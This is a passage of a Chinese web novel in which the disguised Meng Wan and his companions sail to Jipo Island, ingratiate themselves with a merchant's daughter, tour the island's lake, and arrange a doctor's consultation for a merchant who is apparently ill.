孟晚带来的行李大部分都在楚辞和蚩羽房间放着,他换了身轻便柔软的棉袄棉裤,脱了鞋袜上床。 现在天气还是有点冷的,别说海上更甚,他钻进被窝里被冻得打了个哆嗦,床跟着船身晃荡,荡得他更加头晕,什么时候睡着的都不知道。 再醒来外面还是黑的,房间里的油灯被人点燃,苦了吧唧的汤药味儿把孟晚熏得干呕。 “夫郎,你没事吧?”蚩羽扶着他坐起来。 楚辞先给他端了一碗温水,又从孟晚房间的行李中拿出一罐子酸梅。 孟晚喝了水又吃了两颗梅子才压下那股恶心劲儿,干脆一鼓作气的将那一碗苦兮兮的药给硬灌了进去,他这会儿也体会到常金花晕车的痛苦了,连话都懒得说一句。 现在已经是下午了,孟晚半点没有下床走动的意思,他连饭都吃不下。 他们的行李中大部分都是吃的和食材,楚辞找出来一堆零食放到孟晚床边,又舀了点米去厨房给孟晚熬粥。 “小辞,在这里行事多加小心。” 楚辞回头对孟晚点了点头,借了三层的厨房熬了些粥,行李中有常金花腌的酸笋,回去给孟晚开胃吃。 端着粥回到孟晚门前,正遇上住在里面的那对主仆。青年对楚辞微微一笑,楚辞也略微点头当作回应,随后敲门进屋。 青年笑道:“有意思,两个汉子伺候一个小侍?” 蚩羽那么大个的小哥儿实在太引人瞩目,孟晚为了行事低调,都是让他头戴额巾。 堼伯劝道:“这三人哪个也不像是仆从之流,那小侍虽然有几分貌美,公子也万万不可大意。” “堼伯放心,我心里有数。” 两人离开后,楚辞又推门出来,他看到墙边地板上深色的血渍,眸色深沉。 早上虽然没闹出人命,但富商那边的人也受伤不轻,褚哥说那对主仆二人中的老者实力可能与他不相上下。 普通商人的仆从实力竟然能比拟朝廷二品大员的门客? 孟晚风寒加晕船,处在半死不活的状态,楚辞又要照顾他,又要提起心神来戒备生人,已经完全是一副成年男人的姿态了。 第一个登船的富商被教训了一顿,之后便十分老实,除了去三层吃饭,基本上不出门。 孟晚就更是如此了,连吃饭都在屋子里,全等他干儿子和蚩羽伺候。遇上海浪大的时候,还会吐,满肚子坏水都被吐得干干净净,别说算计人,他自己人都已经半废了,睁开眼睛就是迷迷糊糊的状态。 他们上船第三天,没想到这艘福船又迎来了新的客人。 孟晚鼻塞的难受,倚在船头喝了口温热的茶水醒神,又问蚩羽道:“刚才外面什么动静那么热闹?” “好像是新上来人了,我回来找人打听打听。”蚩羽见他醒了就拿着木盆出去,打水回来给他洗漱。 没等蚩羽回来,孟晚的房门就被人敲响了。 他扶着额头,步子软绵绵的走到门边,先是不言不语,直到敲门声再次传来才问道:“谁?小羽?” 门外是道清脆悦耳的女声,听上去年纪不大,“我们家是新上船的,家中小姐备了些薄礼给大家,还请收下。” 孟晚算着时间蚩羽也快回来了,便将门打开了一条缝隙,门外果真是两位十几岁的少女。她们穿着款式相同的袄裙,头上插着银簪,手上戴着银镯,动作起来发出动听的撞击声。应该是大户人家的侍女。 此刻手中各提了几包点心,拎着其中一小包要送给孟晚。 “多谢两位姑娘,劳烦姑娘替我谢过你家小姐。”孟晚接过点心,面色苍白的对她们笑了笑。 两名侍女对视一眼,其中一个侍女笑吟吟的回道:“这位哥哥不用客气,我们这便去给其他人送了。” 第8章 上岛 蚩羽回来正好撞见她们敲自己的房门,随口问了问,莫名其妙的得了一包糕点。他看向倚在门框上的孟晚,见对方点头才收下糕点道谢。 蚩羽端着水盆进了孟晚房间,两个侍女小声嘀咕,“那个哥儿穿的那么素净,也像是谁家的小侍吧?” “长得倒是俊的很,只怕和刚才那个汉子……” “就是,青天白日的,就这么进一个屋了。” 两个侍女一脸鄙夷,散完手里的糕点就回主家处禀告。 “貌美小侍?”一位妙龄少女悠闲的品着茶,可惜船上颠簸,白玉茶盏太过精致,里面那一点茶水放在桌上很快就洒了个精光。 少女不悦的蹙起柳叶般的细眉,随后又舒展开来,“罢了,这些闲事还是不要议论的好,平白污了耳朵。我听爹说这次登岛的人是历年来最多的,最次也是身家十数万两的富商,还是要与他们后宅夫人多多交际的好。” 侍女附和道:“小姐说的是,这次好不容易让老爷带咱们二房的人来,要多多把握机会才是。” 少女轻闭上眼,“母亲已经答应了陈家的提亲,这是我最后的机会了。” 想到陈家那个熬死了三任娘子的大爷,少女既恶心又绝望。 她的后半辈子都攥在嫡母手里,这次她不惜彻底得罪嫡母和姐妹,也要使手段跟着她爹去吉婆岛,就是最后的机会。 孟晚回去打开油纸包,里面是几块精致的糕点,他对这些涉猎不多,看不出是什么地方的特色。只是大概看了几眼,就连同蚩羽的那份一块扔进了海里。 之后的几天,船上陆续停靠在某个港口,接着会上来商人与他们的家人或者奴仆。但基本上都是安南的商人,再也没有上来过禹国人了。 孟晚还年轻着,经过楚辞的调理后来风寒终于恢复,人也精神了一些。 他有空开始在船上借着自己小侍的身份,利用给夏垣端茶倒水的借口探查船上的事。 第一个发现,便是船上的杂役,包括舵手在,竟然全是哑巴。 他家因为收养楚辞的缘故,全都懂得手语,很多时候那些杂役交流,孟晚全都看在眼里。 借由这点便利,他也确实打探到了一点杂七杂八的消息。 据说那家新上船的禹国沈姓富商,带了个女儿上船,才十四岁的年纪,应该就是那天送糕点的小姐,是个有点小心思的女孩。 这不奇怪,怪的是她的亲爹,据说昨天夜里突然在房间里发了疯,打砸到今日一早才消停。 因为沈姓富商住的是被隔开的另一段客房处,海上风浪又大,孟晚并没有听到那边传来的动静。 还有就是这艘福船不是第一次出海接人,吉婆岛好像是每三年便出海一次,除了陈振龙这样的新客人外,还有沈姓富商那样曾经去过吉婆岛的。 据那些杂役所说,这些年去吉婆岛的人越来越多了,他们的船也从以前普通的民船,换成了如今的福船。 内容太过浅薄,暂时没有什么太过有用的信息能整理,孟晚也是一头雾水。 三月初六,午后最暖和的时候,福船终于彻底停靠在一座海岛的渡口上。 孟晚紧跟着夏垣下了船,周围都是安南人说话的声音,夹杂着少部分禹国人的叙旧声,看起来有序又热闹。 下船的时候同样要查验每个人手中的玉牌,这次倒是没出什么意外,大家都顺利的下了船。 岛上有几个像是管事的人接应,用安南话欢迎客气的欢迎大家到来。 他们有男有女有小哥儿,男子上身都穿着宽松的短衫,下身是便于活动的长裤,头发盘束成锥形,做“椎髻”样式。 女娘和小哥儿上身同样为交领短衫,不过是略显身形的紧身款式,下身有人穿的是筒裙有人穿的是裤子,多是青、蓝、褐等色调,还挺简洁大方的。 安博站在夏垣之后,孟晚身前,为他们两位小声翻译侍者的话,“他们说了很多场面话,好像和船上的有些人很相熟的样子,说要带大家先去休息,再好好在岛上逛逛。” 孟晚嘴角一抽,安博的翻译真是简单又粗暴,还自动给他们总结起来了。 安博也很无奈,他安南话很好不错,但是他禹国话烂啊! 吉婆岛不算太大,岛上只有一个渡口,而且有一些地势偏陡峭的区域是还没有开发的密林。 连接渡口的路很宽阔,道路两旁是孟晚从没见过的高大树木,地面是用鹅卵石和沙石混合在一起铺的路,整体呈灰色,坚硬又防水。 有禹国富商问领路的安南管事,“上次来还不是这样的路,可是近些年新铺的?” 岛上的管事想来也会说禹国官话,毫无障碍的答道:“是去年我们岛主在禹国找来的灰粉,用来铺路之后再不惧雨水冲刷,平常行车的时候又快又稳。” “灰粉?可是岭南赫山县一带传出来的铺路法子?”有人已经猜到是何物。 管事的面露疑惑,“小人不知。” 有富商说道:“咱们禹国知道灰粉的也不多,他一个小小的管事,不知也是常事。”商人走南闯北,见多识广,知道些稀罕东西正常。那灰粉被把持在西梧府官府手中,他们有路过西梧府那条路线的人,所以见识过。 “我听说去年贵兄靠着岭南的果珍罐,在京中大赚了一笔?” “张兄说笑了,都是小财罢了,我听说你在扬州……” 孟晚就在最后面,时而能听到他们讨论两声赫山县与西梧府的事,连眼皮都没抬上一下。 夏垣不经意间瞥了他一眼,也难免佩服他的淡定。毕竟孟晚作为珍罐坊正主,恐怕财力在这个富豪云集的地方也是数一数二的。 下了渡口没走出多远,他们就被安排着上了轿子。岛上没有马车,都是人力抬的轿子,用竹竿制成,上面铺着柔软的垫子,四面通风。 孟晚这样的“仆人”是没有资格坐轿子的,他们只能跟在后面走。 富人会享受,如陈振龙这样小富身边还带着六个仆人,其余更有钱的富商,身边带的人就更多了。 一大群的仆人呜呜泱泱的走在后面,有相熟的还会凑到一起小声聊几句。 海岛上的气候比岭南还热,孟晚身上穿着薄棉衣上岛,下船之后才发现太厚了,额头很快渗出一层薄汗出来。 他手搭在额头上遮挡头顶的烈日,不远处有个小厮见状,红着脸递给他一把折扇。 旁边的小厮难以置信的看着他,小声嘀咕道:“你疯了,这是少爷的扇子,一把五十两!” 递孟晚扇子的小厮,眼睛一错不错的盯着孟晚泛着潮红的白皙脸颊,心虚的说:“我……我就是借他遮遮太阳。” 孟晚:“……” 他微笑婉拒道:“多谢小哥好意,可我一介奴仆,怎好用你主家的东西呢?万一害得你被责罚岂不是罪过?你还是好好收起来吧。” 那小厮感动不已,“你真善良,没事的,我家公子不会……” 蚩羽攥着拳头横在两人中间,恶狠狠的说道:“收回去!我哥说不要你听不懂?” 沈家的丫鬟见状恍然大悟,“怪不得这个小羽总去照顾那小哥儿,原来是兄弟俩啊?” 但大家打量两人截然相反的肤色,还是心存疑虑,这兄弟俩怎么长得一点也不像? 孟晚身侧的楚辞默默递过来一把小折扇,让他遮挡日光用,他现在已经习惯照顾孟晚了。 在孟晚热的越来越不耐烦的时候,道路前方终于出现大量建筑群。 安南临近禹国,曾经还数次被占领过,所以建筑风格也与禹国相似,整体看起来更像是参考了禹国传统的筑城思想,细节再结合安南本土文化,是两方相互碰撞所产生的建筑。 孟晚看着面前各种小院越看越觉得熟悉,基本和岭南的院子没什么太大差别,要不是在海上漂了好几天,他都要以为没有出国。 最外围的房屋没有院子,都是依着道路两侧而建,皆是小型屋子,应该是给岛上的佣人住的,密密麻麻一大片。 再往上是个斜坡,一看还要走那么长时间的台阶,孟晚脸色瞬间变了。 “哥,我背你上去!”蚩羽在旁边说道,他倒是一身的牛劲儿。 孟晚有气无力的爬楼梯,“我倒是想让你背,但你哥夫知道了之后,后果你懂吧?” 想起宋大人的冷脸,烈日下的蚩羽生生打了个寒战,静悄悄地退到一边不说话了。 台阶又爬了快半个时辰,终于走到一个大平台处,平台极大,左右宽阔,中间供着一个极为宏伟的道观。 孟晚目测那道观最少也有十几米高,大平台的左右则是一条条小径,不长,能看出是通往其后大大小小的院落。 可能是看出大家都累了,之后没有其他活动,岛上的管事们将大家领到住处。 值得一提的是,他们这群人中的女眷和哥儿,竟然被分到右面,而富商们则带着小厮被领到平台的左面。 楚辞和蚩羽是怎么也不可能放任孟晚自己独行的,蚩羽将额头上包裹的抹额一把扯下,光明正大的走到孟晚身边,惹得大家驻足观看。 但他的长相还是太有欺骗性了,两个哥儿管事把他带到一处验明正身了之后,才放他进了小哥儿这一队。 在其他人或震惊或稀奇的目光中,孟晚嘴角上翘,对蚩羽竖了个大拇指。 仆役和贵客住的地方自然不同,小姐、少爷、夫人、夫郎们带着自家仆人住在独立小院里。 剩下同孟晚这样没人管的,就统一安排在不同的院落。 孟晚和蚩羽本来被安排到一处二十几人同住的小院,如此多的人挤在一块,想也知道有多难受。 孟晚正想使点银子打点小管事的时候,沈家给他送过糕点的侍女突然小跑着过来,“我家女眷少,院里也空荡,小姐让我过来问问你们可愿一同去住。” 想到那位突然发疯的沈老爷,孟晚没有犹豫,爽快的同意下来。 沈家的女眷来的只有这位沈小姐,她带了两个大丫鬟,四个小丫鬟,人确实不多。但架不住这位沈小姐广结人脉,竟然“收留”了十余人到她院子里来,女娘小哥儿都有。 孟晚和蚩羽被分到了其中一间小房间,他突然笑了,这个沈小姐着实有趣,说她不聪明,在船上还知道拿吃食当敲门砖,用来试探他人。 说她聪明,这点小心思又昭然若揭。经商到发大财的,除了个别走运者,剩下多半都是人精,岂会看不出她的意思? “夫郎,要不要我再去找管事换个大房间给你?”蚩羽个子高,屋里摆了两张床都转不开身来。 孟晚将手中提着的包裹放到床头,“无碍,人多还热闹。就这样住下吧,总归比在船上舒服。” “哦,那我收拾收拾东西,您快休息。”蚩羽打架狩猎在行,细致活计惨不忍睹,他说的收拾就是把他们的行李一堆直接塞到床底下。 “那下面都是土!”孟晚嘴都没有他手快。 蚩羽无所谓的说:“没事的夫郎,隔着一层布,里面的东西都不会脏。” 孟晚还能说什么?“好歹把吃的都拿出来吧?” 抢救出来几大包的藕粉,拍怕土,孟晚只能牺牲了一条自带的床单把它们重新裹上。 住的条件差些就算了,吃的可关乎性命。 现在天色还早,孟晚指使闯了祸的蚩羽去外面找地方晒被褥。 蚩羽出去受到了大量女娘小哥儿围观,性格腼腆的只是不好意思的偷看他,胆子大的干脆凑上去搭话。 “你真的是哥儿啊?” 蚩羽毫无顾忌的把衣服领口往下扯了扯,露出小巧到几乎看不大出来的喉结,“不然呢?刚才的管事把我衣服裤子都扒了。” 他动作幅度太大,不小心把半个衣襟都扯开了,露出线条流畅的肌肉。 “哎呦,你这是做什么?”刚才胆大和他搭话的小哥儿一边说一边光明正大的看他胸口。 没理这群人,蚩羽拢好衣裳想着孟晚吩咐的活计,在院子一角看中了一块大石头,也不管上面有没有灰,就要把被褥铺上去。 小哥儿拦他,“欸,大块头,上面都是土你没看见吗?再说那里晒不到日头的,你晾这边来,我这里有绳子。” 在小哥儿的帮助下,蚩羽终于晒好了被褥。而且他身量高,能把绳子拴的更高,受到了许多丫鬟小侍的热烈欢迎。 孟晚喜洁,打水擦完了屋子见蚩羽还没回来,就看他在院里干活干的热热闹闹。 一仰头,发现主屋住着的沈家小姐也出来看热闹,到底还小,就算装的再成熟稳重,还是免不得天真爱看热闹。 发现孟晚在看她,沈小姐露出个得体的笑。 孟晚笑着回应,突然放下手中的水盆向她走去。 小姑娘既然好心借他们屋子住,好歹要去给人家道个谢,且沈老爷似乎不是第一次来吉婆岛,没准沈家人知道更多内幕。 第9章 鲛人冢 “多谢沈小姐搭救之恩,不然我和小羽就要和旁人挤在一起了。”孟晚客客气气的施了一礼。 沈小姐很和善,没有因为孟晚是仆役的身份就无视他,“举手之劳罢了,还是你弟弟太过惹眼,我一次就记住了他。对了,你们是谁家的小侍?” 孟晚微微一笑,“我家老爷是临安府唐家二爷。” “唐家啊?”沈小姐想了一圈,可能是没听说过,脸上的笑意淡了淡。 “我听小姐的口音很像是苏州一带的人,吴侬软语,很是动听。”孟晚不在意旁人的冷淡,能得到自己想要的消息就好。 沈小姐还带着婴儿肥的脸颊微微羞红,被外人夸奖总是令人高兴的,她觉得这位小侍很会聊天。 “我确实出身苏州府,我们沈家也算是当地的名门望族,祖上还曾出过五品大员。”沈小姐的声音扬的略高,但因为嗓门本来就不大,所以即便是稍微大声也不刺耳,反而像裹了层棉花,软乎乎的。 孟晚在能探查到消息的情况下,不介意配合她,也跟着附和道:“原来小姐是苏州府沈家人啊?我还曾听过我家老爷提过沈家呢!” 沈小姐能瞥到院里她邀请的那几个小侍和丫鬟,都在支起耳朵听她和孟晚谈话,自觉达到了目的,心不在焉的回道:“唐二老爷说了沈家什么?” 孟晚先是捡好听的说:“我家老爷说沈家的苏绣闻名天下,布庄中的绣娘针法丰富多样,有细腻柔和之美,曾经差点成为皇商。可惜后来败于仲家……” 说到后面,孟晚自觉失言,便突然住了嘴。再一抬头,沈小姐表情确实不大自然,像是在隐而不发。 然而她不说,不代表其他人能忍住不说,在奴仆完全依附与主家,家中荣辱甚至大过自身的时代,有些忠仆是见不得家主被人奚落的。 “你懂什么?我家老爷要不是前些年生了病,皇商定是我们沈家的!”沈小姐身边的一个侍女跳出来说道。 她正是当初给孟晚送糕点的两个侍女之一。 孟晚面露惊讶,“我见沈老爷正值壮年,身体康健,怎会生病呢?听这位小妹妹的意思,还很严重?” 沈小姐有些警惕,她训斥侍女,“听雨!” 侍女咬了咬唇,“小姐恕罪,奴婢这就去收拾屋子。” 孟晚忐忑不安的垂下头,“还请沈小姐不要怪罪,都是我多嘴了。” “无事。”沈小姐这时候已经没有多少耐心再和孟晚搭话,她转身欲要离开。 “沈小姐。”孟晚叫住了她,在对方不耐的表情中,说了一句,“我家老爷身边带了名神医,出身杏林世家,祖上三代都是郎中,若是沈老爷需要,可以让他过去给沈老爷问诊。” 沈小姐呆愣片刻,显然没想到孟晚会突然说出这番话。 孟晚温和一笑,带着万分可靠的说服力,“想必沈小姐很关心沈老爷的病情吧?百善孝为先,您如此孝顺,我们老爷总是念叨着自己没有一个贴心的女儿呢。”想必其老爷、夫人和夫郎,也会看重你的人品吧? 要显露自己,在此行中找个好婆家,光是上赶子讨好人,等着他人上门求亲,可不是一个绝佳的好方法。 在大家面前,让众人都看到你的优势,掌握住主动权,如此才能心想事成。 沈小姐不傻,转瞬就想明白了。她笑着拉住孟晚的手,将自己手腕上晶莹剔透的玉镯,丝滑地褪到孟晚手上。 “晚哥儿?我在船上时听到你主家这样叫你,唐家请来的神医真的那么神吗?” 孟晚受宠若惊,“沈小姐,你这是做什么,我只是随口一说。但……我家老爷请的神医真的很厉害的。” “那我若是请,真能请得到?报酬又是几许?”沈小姐别看年纪小,倒也没有听了孟晚的话就头脑发热,还知道先在孟晚这里打听仔细。 孟晚稀罕的摸了摸手上的玉镯,许是收了人家的好处,不敢胡说,“报酬好说,只是这位神医性子有几分古怪,太过简单的疾病千金他也不治,说是不配他出手,若是遇上什么罕见的怪病,反倒是来了兴致,分文也不取。” 沈小姐眼睛一亮,“是怪病,是怪病!咳……” 她见院里的其他丫鬟侍女总是有意无意的看向她和孟晚,突然有些懊悔自己为了讨好人,把这么多乱七八糟的他家下人都叫到自己院子。 沈小姐拉着孟晚进她自己的主屋,“晚哥儿,你跟我进屋去说,我带了苏州天池茶,香气清幽,鲜爽回甘,邀你吃上两盏。” 于是孟晚一下午在沈小姐这里陪她吃茶闲话,但茶他没吃上一口,话却没少套。 沿着平台还有一处建着厨房,很大一间,里面忙忙碌碌的准备晚膳,当然,贵客们的晚膳和下人们的是不同的。 等贵客的饭食都被一份份端走,接下来才轮到他们这些下人用餐。 不分男女,所有佣人都聚集在厨房外头排队打饭,打好了饭厨房外面有长桌长椅,大家穿插着坐,没什么讲究。 大厨房旁边还有几间小厨房,里面的食材可以免费使用,这是避免岛上饭菜不合口味,富商们可以指使家中奴仆过来重做,而且这样的人还不在少数。 不管夏垣用不用,反正孟晚不可能吃吉婆岛上的东西,下午他套沈小姐话的时候,指使蚩羽给他搞点野味来。 蚩羽被派去做这种活比打扫卫生开心,像被放风的小狗一样,撒腿就跑了。 于是现在的孟晚得到了两只脱了皮的兔子、一只山鸡、半兜竹虫。 “鸡你怎么不顺便收拾了?” 蚩羽老实的回答:“不会。” 孟晚毫不意外,他手法利索的收拾这堆东西,楚辞这会儿也找了过来要帮他。 “不用,你坐在一旁等着吃饭,眼神冷上一点,想你宋爹平时办公的脸色,模仿一下。”孟晚把他赶到一边饭桌子上,自己做饭,蚩羽帮他添柴。 在船上不是米粥就是藕粉,孟晚闻到肉香味也馋。 兔子他做的不太好吃,哪怕把内脏、筋膜和皮都扔了,还是有股淡淡的腥膻味,倒是山鸡红烧的很香嫩。 他们一桌大鱼大肉怎么也比用边角料做的仆人餐好吃,主要是自己做的吃食放心,吉婆岛什么情况还不明朗的情况下,孟晚不敢相信任何人。 三人边吃饭,孟晚边将沈老爷的事和楚辞说了,“小辞,依你看,得什么病会像他这样犯病时神志不清,容易发狂。” 如癫痫、脑风、痰迷心窍者都可令人发疯。没有当场见过病人发疯的样子,替人问过诊,楚辞也说不上来具体。 “没事,早晚咱们会知道,夜里你在那边要警觉一些,男客那头可能比我们这边有古怪。”孟晚叮嘱楚辞。 楚辞重重的点了点头。 吃饱喝足后回去,孟晚捏住房门处夹着的发丝。 很好,没人进来过。 再推开唯一的小窗户。 不错,同样无人踏足。 然后孟晚又开始在屋子里摸摸这儿,看看那儿。蚩羽转着脑袋看他,想问他在做什么。 但张了张嘴还是决定算了,就算夫郎说,他也听不太懂。 在船上辛苦这么些日子,夜里孟晚本想睡个好觉,可蚩羽的呼噜声比震天响,他翻来覆去的也睡不着。 仔细听,还能听到他们房间左右的邻居传来微小的抱怨声,看来蚩羽呼噜声穿透力很强。 孟晚下床倒了杯水,倚在床边在和黑暗中默默沉思,也不知过去多久,他才有了睡意,头缓缓滑到枕头上。 恍恍惚惚间,耳边蚩羽的呼噜声倒是模糊了,另一种玄妙的声音好像在远处飘荡过来,哀伤悠扬,一声声的钻进他耳朵。 第二天一早,孟晚是被蚩羽给喊醒的,他忍着起床气换衣裳,蚩羽倒是生龙活虎。 “夫郎,他们给我拿的衣裳太小了,我能不能还穿自己的?”蚩羽揪揪紧绷的袖子,感觉连抬手都费劲。 孟晚套上黑色长裤,蹦了两下觉得哪哪儿都很随和,“你去和人家要一身男仆那边的衣裳不就成了吗?咱们带的都是厚重衣裳,昨天都差点热死我。” “哦。”蚩羽心想怪麻烦的,穿什么不是穿,他也不是很怕热。 孟晚懒得理他,等外面叫他们集合的时候,发现几个同住一院的丫鬟和小哥儿正在紧急帮蚩羽改衣裳。 孟晚:“……” 很无语,在西梧府的时候怎么没发现蚩羽这么有魅力呢?感情跑错赛道了? 因为蚩羽的衣服墨迹了一会儿,他们俩排到了最后面。 今天正事没有,主要是陪各自的主子们在岛上看看风景。 孟晚凑到夏垣身边,“老爷,昨天有没有问出什么来?咱们什么时候能离开吉婆岛?” 夏垣在轿子上同他说话,“昨日除了休息之外,并无其他安排。但那些管事曾提过,我们在岛上参加两日后的取珠祀典后,岛上就会开始通船,各处都有。” “两日后?那还好。”岛上这么多有头有脸的商贩都在,财力惊人,而且不止一国。若安南真的将人都给劫了,想必也得罪不起各国国君,稳着些,应该能平安度过。 夏垣自己坐·着轿子,见他一个官夫郎折腾成这样,有些于心不忍,“孟夫郎,不若老夫给你也叫个轿子?” “多谢老爷好意,我一个小侍,为了不惹人怀疑,还是低调些比较好。”孟晚自己觉得没什么,反而提醒夏垣不要出戏。 他们下了山后,前方停了个相当抓人眼球的轿子,一是因为它大,二是因为它太漂亮了。 孟晚还没看见轿子的时候,就听到身边一阵阵的吸气声,他偏移到旁边的位置一瞧,只见一架以竹木为框,涂上大红色油漆轿子刚好被人抬起来。 那轿子上架着金色的六角宝顶,散落下来的六道穗子,是由一串串饱满莹润的珍珠,和通体在阳光的照射下,泛着虹彩的贝壳组合而成。 就连轿子里的座椅,也被打造成了淡粉色蚌壳的样子,那种逼真的程度,让孟晚怀疑甚至是真从海底打捞出来的蚌壳。 这架珠围贝绕的轿子本就够引人注目了,其上坐了位穿着清凉的女子,更是惊艳四座。 远看便能看见她身上,短至露出香肩的上衣,和下半身耀目的红色长裙。 孟晚看到沈小姐的轿子似在前面,也带蚩羽挤上前去,离得近了,便能看出这个神秘的女人面貌特征。她眼窝深邃,眼珠深蓝,头发卷曲黝黑,整体皮肤偏黄。 从面相上看,暂时看不出女人的年岁多大,说她二十也可以,说她四十似乎也不违和。因为她那双蓝色的双眸,似乎经历过岁月的沉淀,失去了灵气,哪怕是在笑,也是无比厚重的。 她从轿子上稳稳的站立起来,先说了一句安南话,后又用流利的禹国话说了句,“欢迎诸位贵客来到我们吉婆岛,有很多朋友曾经见过我,还有许多新朋友需要我介绍一番。” “我就是吉婆岛的岛主,伊莎贝尔。” 孟晚在下面很想拍手鼓掌,很好,有排面,等他回西梧府了也要去整一个。 伊莎贝尔说话好听,人又性感,把导游这个行业当得很称职。 没错,导游。 在孟晚看来,她虽然有气质,有排面,可就像是花架子一样,并不像是一个能招揽异国富商踊跃登岛的岛主,更像是被派出来的门面。 岛主伊莎贝尔带领长长的队伍从山脚下开始,往隐匿在山林中的更深处出发。 路上沈小姐叫孟晚过去说话,“晚哥儿,唐老爷身边的神医年岁好像不大,他真的能……” 孟晚笑道:“沈小姐,你若是不放心将他推荐给沈老爷,何不先自己把脉试试呢?” 沈小姐眼神微动,觉得孟晚说的有理,“那一会儿我们到了地方,你带他过来找我,听雨会放你们进去。” 孟晚低头躬身,“是。” 往林子里走后,路变窄了许多,仆人跟的太多反而累赘,各家老爷都将人遣散了不少,孟晚、蚩羽和楚辞当然还在。 众人穿过天然岩石形成的山体隧道,之后突然豁然开朗,原来隧道后面是一片浅蓝色的湖泊,这片美丽的湖泊有数亩之广,堪比方塘。 湖边处铺着五彩斑斓的彩石和贝壳,往里能看到形形色色的珊瑚群,和穿梭在其中的小鱼儿们。 湖水四周都是暗绿色的高大岩石,空阔的上空却是蔚蓝的天空,阳光从上头直射到湖底,漂亮的仿佛是虚无缥缈的天池。 若孟晚不是带着目的来岛上,绝对会认为这是度假的好地方。 伊莎贝尔涂了口脂的红唇轻扬,“欢迎诸位来到鲛人冢。” 第10章 问诊 那些走南闯北的富商就算了,久居后宅的女眷们哪儿见过这等奇韵妙景,瞬间忘了什么礼仪规矩,各个都玩的乐不思蜀。 沈小姐同新结识的姐妹玩闹同时,不忘正事,悄悄把孟晚和楚辞叫到一处。 “你就是唐老爷身边的神医?劳烦你为我把脉。”沈小姐略有些羞涩,她只远远见过唐老爷身边有这么一个年轻人,却没想到这么年轻俊朗,比她大不了几岁的样子。 楚辞神态疏离,并不回答,只是坐在她身边,示意她将手腕伸出来。 孟晚在旁边充当翻译,“沈小姐不要介意,神医性格比较古怪,连我们老爷说话,平时他都不理的。” 沈小姐心凉了一瞬,将手递过去后把头扭向一边,“开始吧。” 楚辞手搭上她的脉搏,眼睛观察着她的脸色,过了一会儿后从怀里掏出随身携带的小册子和炭笔,一笔一划的写道:“素体气血不足,气虚则推动无力,血虚则濡养失司,见神疲乏力、面色萎黄、头晕心悸;又因情志急骤不畅,肝气郁结,郁而化火,火扰心神则心烦意懒,火灼津液则口干,眠差,火邪循经上炎可见咽痛、目赤,气血与郁火交阻,伴胸胁胀闷、经行不畅或痛经。” 他从前写字丑,是最不愿意写字的,哪怕如今强了一些,平常也不爱动笔。这次为了做好孟晚交代的事,一口气写了这么一大段,可见是用了心。 孟晚趁沈小姐和她的侍女震惊的空档,偷偷从自己的零食包里,取了块去了核的蜜枣喂给楚辞。 “神医说的果然不错,我家小姐最近确实有您所说之症,可要吃些汤药?”听雨嘴虽然快,可和沈小姐的主仆情谊深厚。 楚辞在纸上又添了一句,“食补即可,心绪平和最佳。” 沈小姐都火烧眉毛了,怎么可能心绪平和,在发觉楚辞确实和她家乡那些个普通郎中不同后,便迫不及待的要带楚辞去找沈老爷。 沈老爷此刻正与其他富商寒暄,见女儿带了个少年过来男客这边,面露不虞,“晴娘,何不去一旁赏景,” 沈小姐礼数周全的对沈老爷和其身边的其余富商一一施礼,“爹,女儿知道您夜里难以安眠,听闻唐老爷身边有位郎中医术极为高超,所以就擅作主张将人给请了过来,为爹爹问诊请脉。” 她话说的委婉,其实已经有几位富商对沈老爷在福船上发疯的事略有所闻。 除了少数人知道其中奥秘,大部分人的看法与沈小姐一样,认为沈老爷得了什么怪病。 “沈兄,令爱如此对你关怀贴心,当真是孝心可嘉。” “沈兄养了个好女儿啊!” “我等年岁日渐老迈,再不似曾经四处闯荡的时候,沈兄也该保重身体才是。” “还是唐兄为人仔细,竟然还贴身带了郎中来。” “我等兄弟几人相交甚笃,沈兄不必拿我们当外人,若是这位郎中真的医术精湛,还请给老夫也诊上一诊。” “不错,劳烦小郎中。” 自打沈小姐说了来意,沈老爷的脸色就没好过,这会被众人高高架起,骑虎难下。 这时孟晚还将夏垣也找了过来,再添一把火。 夏垣一副乐呵呵的老好人模样,“几位兄台真是慧眼识珠,我身边这位郎中可不是普通郎中,别看人年岁小,寻常小病是不治的,要治就治旁人束手无策的顽疾。” 旁人听他此言,更是兴味盎然,不断催促起沈老爷来。 沈老爷硬被推着让楚辞把脉问诊,笑容中带着几分僵硬,“既如此,就麻烦小郎中了。” 楚辞一言不发,只是请沈老爷坐好,不同于刚才随意为沈小姐诊脉的模样,他先是从上到下,将沈老爷五官、四肢、耳后、关节处都查看仔细。又看了沈老爷的舌头牙齿,摸了一遍他浑身骨骼,而后才开始诊脉。 若说之前那些富商还存着看热闹、暗里添乱,或是故意推波助澜的心思,见楚辞这一手流畅的问诊动作下来,倒是真上了份心。 毕竟越有钱就越怕薄命,孟晚这样聪慧的人,还怕死怕的要命,别说他们了。 他们已经想好,沈老爷的热闹能不能看不要紧,这劳什子的鲛人冢也没什么所谓,一会儿请这位年轻的小郎中给自己诊诊脉才是真的。 楚辞为沈老爷把脉花费了很长时间,长到沈老爷从原本的不屑,惊疑不定,到最后危险的眸子里居然带上了一丝期冀。 谁都不知道他在期待什么,可能连他自己都没想到他当时会露出那种眼神。 楚辞终于松开沈老爷的手腕,轻轻的摇了摇头。 最急的是沈小姐,不管她是装的还是为了自己的好名声,“神医,我爹到底是得了什么病啊?您说句话啊!” 楚辞依旧在他的小本上写下一行字,“才疏学浅,并未诊出沈老爷所得病症。” 沈老爷松了口气,接着冷哼一声,“唐兄,这就是你请来的神医?黄口小儿,也不过如此。” 夏垣仍是一副好脾气的样子笑笑,黝黑的肤色与旁的富商格格不入,好像是农民混进了地主窝。 其他人见状,上前问诊的脚步略微迟疑,原来只是个说大话的小子吗? 其中一位富商,抱着来都来了的心态,随意把手腕探了出去,“小兄弟,给哥哥把个脉,要不要摸骨看相啊?” 楚辞摇了摇头,手随意往上搭了片刻,随后快速写下一页东西递给他。 那富商先是随意瞥了一眼,随后睁大眼睛,“你……您上面写的是真的?按此药方,此病真的可以医治?” 楚辞背好自己小包,站起身来郑重地冲他点了点头,随后转身离开。看姿态,确实是没将夏垣这个主家放在眼里的样子。 其余人看问诊富商狂喜的模样,被他和沈老爷截然不同的姿态搞一头雾水。 这到底是看得好,还是看得不好啊? 不管好不好,郎中已经走远,他们也拉不下脸真去请人,只好旁敲侧击的去向刚才问诊的富商打听。 结果自然是什么都没打探到,都是世故圆滑的人,谁会将自己的病情四处告知呢? 